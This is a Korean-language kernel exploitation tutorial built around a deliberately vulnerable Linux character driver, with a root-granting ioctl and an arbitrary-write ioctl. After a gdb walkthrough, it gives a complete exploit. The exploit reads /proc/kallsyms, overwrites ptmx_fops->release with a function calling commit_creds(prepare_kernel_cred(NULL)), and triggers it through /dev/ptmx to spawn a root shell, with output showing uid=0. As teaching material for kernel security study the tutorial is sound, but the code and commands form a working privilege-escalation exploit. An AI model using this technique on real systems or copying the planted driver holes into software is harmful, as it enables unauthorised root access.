Excuse the ads! We need some help to keep our site up.
para→ptr 주소 영역에 para→value의 값을 저장합니다.
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> #include <linux/cred.h> #include "chardev.h" MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 1; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_open(struct inode *, struct file *); static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static long chardev_ioctl(struct file *, unsigned int, unsigned long); struct file_operations s_chardev_fops = { .open = chardev_open, .release = chardev_release, .read = chardev_read, .write = chardev_write, .unlocked_ioctl = chardev_ioctl, }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; int minor = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &s_chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor); return 0; } static void chardev_exit(void) { int minor = 0; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); device_destroy(chardev_class, MKDEV(chardev_major, minor)); class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_open(struct inode *inode, struct file *file) { printk("The chardev_open() function has been called."); return 0; } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_close() function has been called."); return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_write() function has been called."); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { printk("The chardev_read() function has been called."); return count; } static struct ioctl_info info; static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct ioctl_www_arg *para; printk("The chardev_ioctl() function has been called."); switch (cmd) { case SET_DATA: printk("SET_DATA\n"); if (copy_from_user(&info, (void __user *)arg, sizeof(info))) { return -EFAULT; } printk("info.size : %ld, info.buf : %s",info.size, info.buf); break; case GET_DATA: printk("GET_DATA\n"); if (copy_to_user((void __user *)arg, &info, sizeof(info))) { return -EFAULT; } break; case GIVE_ME_ROOT: printk("GIVE_ME_ROOT\n"); commit_creds(prepare_kernel_cred(NULL)); return 0; case IOCTL_WWW: para = (struct ioctl_www_arg *)arg; *(para->ptr) = para->value; return 0; default: printk(KERN_WARNING "unsupported command %d\n", cmd); return -EFAULT; } return 0; } module_init(chardev_init); module_exit(chardev_exit); |
#ifndef CHAR_DEV_H_ #define CHAR_DEV_H_ #include <linux/ioctl.h> struct ioctl_info{ unsigned long size; char buf[128]; }; struct ioctl_www_arg { unsigned long *ptr; unsigned long value; }; #define IOCTL_MAGIC 'G' #define SET_DATA _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info) #define GET_DATA _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info) #define GIVE_ME_ROOT _IO(IOCTL_MAGIC, 0) #define IOCTL_WWW _IOR(IOCTL_MAGIC, 0, struct ioctl_aaw_arg *) #endif |
obj-m = chardev.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.
"/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" int main() { int fd; int ret_val; unsigned long *ptmx_fops; struct ioctl_www_arg arg; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); exit(1); } arg.ptr = 0x4141414141414141; arg.value = 0x4242424242424242; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); exit(1); } close(fd); } |
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo sysctl -w kernel.kptr_restrict=0 kernel.kptr_restrict = 0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep chardev ffffffffc01c4000 t chardev_release [chardev] ffffffffc01c4020 t chardev_open [chardev] ffffffffc01c4040 t chardev_write [chardev] ffffffffc01c4070 t chardev_read [chardev] ffffffffc01c40a0 t chardev_ioctl [chardev] ffffffffc01c6480 b info [chardev] ffffffffc01c41c0 t chardev_init [chardev] ffffffffc01c6520 b chardev_cdev [chardev] ffffffffc01c6588 b chardev_major [chardev] ffffffffc01c6480 b __key.25755 [chardev] ffffffffc01c6508 b chardev_class [chardev] ffffffffc01c4300 t chardev_exit [chardev] ffffffffc01c6100 d __this_module [chardev] ffffffffc01c4300 t cleanup_module [chardev] ffffffffc01c41c0 t init_module [chardev] ffffffffc01c6000 d s_chardev_fops [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
0x0000000001000200 in ?? () (gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50 50 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file or directory. (gdb) b *0xffffffffc01c40a0 Breakpoint 1 at 0xffffffffc01c40a0 (gdb) c Continuing. |
다음과 같이 chardev_ioctl() 함수의 코드를 확인할 수 있습니다.
IOCTL_WWW 매크로의 값을 확인하기 위해 0xffffffffc01e10bf 영역에 Breakpoint를 설정합니다.
IOCTL_WWW 매크로의 값은 0x80084700 입니다.
해당 값을 비교하는 코드는 0xffffffffc01e10cd 영역에 존재합니다.
전달된 매크로의 값이 0x80084700와 같을 경우 0xffffffffc01e1112 영역으로 이동합니다.
Breakpoint 1, 0xffffffffc01e10a0 in ?? () (gdb) x/40i $rip => 0xffffffffc01e10a0: nop DWORD PTR [rax+rax*1+0x0] 0xffffffffc01e10a5: push rbp 0xffffffffc01e10a6: xor eax,eax 0xffffffffc01e10a8: mov rdi,0xffffffffc01e20e8 0xffffffffc01e10af: mov rbp,rsp 0xffffffffc01e10b2: push r12 0xffffffffc01e10b4: mov r12,rdx 0xffffffffc01e10b7: push rbx 0xffffffffc01e10b8: mov ebx,esi 0xffffffffc01e10ba: call 0xffffffff81180972 <printk> 0xffffffffc01e10bf: cmp ebx,0x40884702 0xffffffffc01e10c5: je 0xffffffffc01e116d 0xffffffffc01e10cb: jbe 0xffffffffc01e1125 0xffffffffc01e10cd: cmp ebx,0x80084700 0xffffffffc01e10d3: je 0xffffffffc01e1112 0xffffffffc01e10d5: cmp ebx,0x80884703 0xffffffffc01e10db: jne 0xffffffffc01e1151 0xffffffffc01e10dd: mov rdi,0xffffffffc01e219f 0xffffffffc01e10e4: xor eax,eax 0xffffffffc01e10e6: call 0xffffffff81180972 <printk> 0xffffffffc01e10eb: mov edx,0x88 0xffffffffc01e10f0: mov rsi,0xffffffffc01e3480 0xffffffffc01e10f7: mov rdi,r12 0xffffffffc01e10fa: call 0xffffffff813e09e0 <_copy_to_user> 0xffffffffc01e10ff: cmp rax,0x1 0xffffffffc01e1103: sbb rax,rax 0xffffffffc01e1106: not rax 0xffffffffc01e1109: and rax,0xfffffffffffffff2 0xffffffffc01e110d: pop rbx 0xffffffffc01e110e: pop r12 0xffffffffc01e1110: pop rbp 0xffffffffc01e1111: ret 0xffffffffc01e1112: mov rax,QWORD PTR [r12] 0xffffffffc01e1116: mov rdx,QWORD PTR [r12+0x8] 0xffffffffc01e111b: mov QWORD PTR [rax],rdx 0xffffffffc01e111e: xor eax,eax 0xffffffffc01e1120: pop rbx 0xffffffffc01e1121: pop r12 0xffffffffc01e1123: pop rbp 0xffffffffc01e1124: ret (gdb) b *0xffffffffc01e10bf Breakpoint 2 at 0xffffffffc01e10bf (gdb) c Continuing. Breakpoint 2, 0xffffffffc01e10bf in ?? () (gdb) i r ebx ebx 0x80084700 -2146941184 (gdb) b *0xffffffffc01e10cd Breakpoint 3 at 0xffffffffc01e10cd (gdb) c Continuing. Breakpoint 3, 0xffffffffc01e10cd in ?? () (gdb) i r ebx ebx 0x80084700 -2146941184 (gdb) x/2i $rip => 0xffffffffc01e10cd: cmp ebx,0x80084700 0xffffffffc01e10d3: je 0xffffffffc01e1112 (gdb) |
(gdb) si 0xffffffffc01e10d3 in ?? () (gdb) si 0xffffffffc01e1112 in ?? () (gdb) x/8i $rip => 0xffffffffc01e1112: mov rax,QWORD PTR [r12] 0xffffffffc01e1116: mov rdx,QWORD PTR [r12+0x8] 0xffffffffc01e111b: mov QWORD PTR [rax],rdx 0xffffffffc01e111e: xor eax,eax 0xffffffffc01e1120: pop rbx 0xffffffffc01e1121: pop r12 0xffffffffc01e1123: pop rbp 0xffffffffc01e1124: ret (gdb) i r r12 r12 0x7ffd67d79360 140726345634656 (gdb) x/2gx 0x7ffd67d79360 0x7ffd67d79360: 0x4141414141414141 0x4242424242424242 (gdb) b *0xffffffffc01e111b Breakpoint 4 at 0xffffffffc01e111b (gdb) c Continuing. Breakpoint 4, 0xffffffffc01e111b in ?? () (gdb) i r rax rax 0x4141414141414141 4702111234474983745 (gdb) i r rdx rdx 0x4242424242424242 4774451407313060418 (gdb) si 0xffffffff817f9030 in general_protection () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S:981 981 /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/entry/entry_64.S: No such file or directory. (gdb) |
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ find /dev/ -type c -perm -6 2> /dev/null /dev/chardev0 /dev/net/tun /dev/ptmx /dev/fuse /dev/tty /dev/urandom /dev/random /dev/full /dev/zero /dev/null lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
즉, 읽고 쓰기가 가능한 file_operations 구조체 변수는 ptmx_fops 뿐입니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tun_fops ffffffff818a74a0 r tun_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops ffffffff81fe3440 b ptmx_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep fuse_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep tty_fops ffffffff81870dc0 r hung_up_tty_fops ffffffff81870f80 r tty_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep urandom_fops ffffffff81875c60 R urandom_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep random_fops ffffffff81875c60 R urandom_fops ffffffff81875d40 R random_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep full_fops ffffffff81875780 r full_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep zero_fops ffffffff81875860 r zero_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep null_fops ffffffff81875a20 r null_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
|
static struct file_operations ptmx_fops; static void __init unix98_pty_init(void) { ptm_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX, TTY_DRIVER_RESET_TERMIOS | TTY_DRIVER_REAL_RAW | TTY_DRIVER_DYNAMIC_DEV | TTY_DRIVER_DEVPTS_MEM | TTY_DRIVER_DYNAMIC_ALLOC); if (IS_ERR(ptm_driver)) panic("Couldn't allocate Unix98 ptm driver"); pts_driver = tty_alloc_driver(NR_UNIX98_PTY_MAX, TTY_DRIVER_RESET_TERMIOS | TTY_DRIVER_REAL_RAW | TTY_DRIVER_DYNAMIC_DEV | TTY_DRIVER_DEVPTS_MEM | TTY_DRIVER_DYNAMIC_ALLOC); if (IS_ERR(pts_driver)) panic("Couldn't allocate Unix98 pts driver"); ptm_driver->driver_name = "pty_master"; ptm_driver->name = "ptm"; ptm_driver->major = UNIX98_PTY_MASTER_MAJOR; ptm_driver->minor_start = 0; ptm_driver->type = TTY_DRIVER_TYPE_PTY; ptm_driver->subtype = PTY_TYPE_MASTER; ptm_driver->init_termios = tty_std_termios; ptm_driver->init_termios.c_iflag = 0; ptm_driver->init_termios.c_oflag = 0; ptm_driver->init_termios.c_cflag = B38400 | CS8 | CREAD; ptm_driver->init_termios.c_lflag = 0; ptm_driver->init_termios.c_ispeed = 38400; ptm_driver->init_termios.c_ospeed = 38400; ptm_driver->other = pts_driver; tty_set_operations(ptm_driver, &ptm_unix98_ops); pts_driver->driver_name = "pty_slave"; pts_driver->name = "pts"; pts_driver->major = UNIX98_PTY_SLAVE_MAJOR; pts_driver->minor_start = 0; pts_driver->type = TTY_DRIVER_TYPE_PTY; pts_driver->subtype = PTY_TYPE_SLAVE; pts_driver->init_termios = tty_std_termios; pts_driver->init_termios.c_cflag = B38400 | CS8 | CREAD; pts_driver->init_termios.c_ispeed = 38400; pts_driver->init_termios.c_ospeed = 38400; pts_driver->other = ptm_driver; tty_set_operations(pts_driver, &pty_unix98_ops); if (tty_register_driver(ptm_driver)) panic("Couldn't register Unix98 ptm driver"); if (tty_register_driver(pts_driver)) panic("Couldn't register Unix98 pts driver"); /* Now create the /dev/ptmx special device */ tty_default_fops(&ptmx_fops); ptmx_fops.open = ptmx_open; cdev_init(&ptmx_cdev, &ptmx_fops); if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) || register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, "/dev/ptmx") < 0) panic("Couldn't register /dev/ptmx driver"); device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, "ptmx"); } |
https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/pty.c#L807 |
static const struct file_operations tun_fops = { .owner = THIS_MODULE, .llseek = no_llseek, ... |
static const struct file_operations tty_fops = { .llseek = no_llseek, .read = tty_read, ... |
const struct file_operations urandom_fops = { .read = urandom_read, .write = random_write, ... |
struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); ssize_t (*write_iter) (struct kiocb *, struct iov_iter *); int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *, fl_owner_t id); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, loff_t, loff_t, int datasync); int (*aio_fsync) (struct kiocb *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int); unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long); int (*check_flags)(int); int (*flock) (struct file *, int, struct file_lock *); ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int); ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int); int (*setlease)(struct file *, long, struct file_lock **, void **); long (*fallocate)(struct file *file, int mode, loff_t offset, loff_t len); void (*show_fdinfo)(struct seq_file *m, struct file *f); #ifndef CONFIG_MMU unsigned (*mmap_capabilities)(struct file *); #endif }; |
https://elixir.bootlin.com/linux/v4.4/source/include/linux/fs.h#L1600 |
|
|
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ cat /proc/kallsyms |grep ptmx_fops ffffffff81fe3440 b ptmx_fops lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
0x0000000001000200 in ?? () (gdb) c Continuing. (gdb) p *(struct file_operations*) 0xffffffff81fe3440 $1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff811fcd60 <no_llseek>, read = 0xffffffff814c5190 <tty_read>, write = 0xffffffff814c48a0 <tty_write>, read_iter = 0x0 <irq_stack_union>, write_iter = 0x0 <irq_stack_union>, iterate = 0x0 <irq_stack_union>, poll = 0xffffffff814c5340 <tty_poll>, unlocked_ioctl = 0xffffffff814c5e40 <tty_ioctl>, compat_ioctl = 0xffffffff814c5280 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>, open = 0xffffffff814cf860 <ptmx_open>, flush = 0x0 <irq_stack_union>, release = 0xffffffff814c55c0 <tty_release>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, fasync = 0xffffffff814c5140 <tty_fasync>, lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>, get_unmapped_area = 0x0 <irq_stack_union>, check_flags = 0x0 <irq_stack_union>, flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>, splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>, fallocate = 0x0 <irq_stack_union>, show_fdinfo = 0x0 <irq_stack_union>} (gdb) p (*(struct file_operations*) 0xffffffff81fe3440).release $2 = (int (*)(struct inode *, struct file *)) 0xffffffff814c55c0 <tty_release> (gdb) p &(*(struct file_operations*) 0xffffffff81fe3440).release $3 = (int (**)(struct inode *, struct file *)) 0xffffffff81fe34a8 <ptmx_fops+104> (gdb) p/d 0xffffffff81fe34a8 - 0xffffffff81fe3440 $4 = 104 (gdb) |
void get_root() { commit_creds(prepare_kernel_cred(NULL)); } |
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; unsigned long *ptmx_fops_release; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } void get_root() { commit_creds(prepare_kernel_cred(NULL)); } int main() { int fd; int ret_val; void *ptmx_fops; struct ioctl_www_arg arg; //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("prepare_kernel_cred = %p\n", prepare_kernel_cred); printf("commit_creds = %p\n", commit_creds); //Find the address of "static struct file_operations ptmx_fops" ptmx_fops = kallsym_getaddr("ptmx_fops"); printf("ptmx_fops = %p\n", ptmx_fops); ptmx_fops_release = ptmx_fops + sizeof(void *) * 13; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); return 0; } //Overwrite the "ptmx_fops → release" area arg.ptr = ptmx_fops_release; arg.value = (unsigned long)get_root; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); return 0; } close(fd); //open /dev/ptmx and call ptmx_fops->release() via close() fd = open("/dev/ptmx", 0); close(fd); printf("getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); } |
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ ./www [+] prepare_kernel_cred = 0xffffffff8109da40 [+] commit_creds = 0xffffffff8109d760 [+] ptmx_fops = 0xffffffff81fe3440 [+] getuid() = 0 # id uid=0(root) gid=0(root) groups=0(root) # |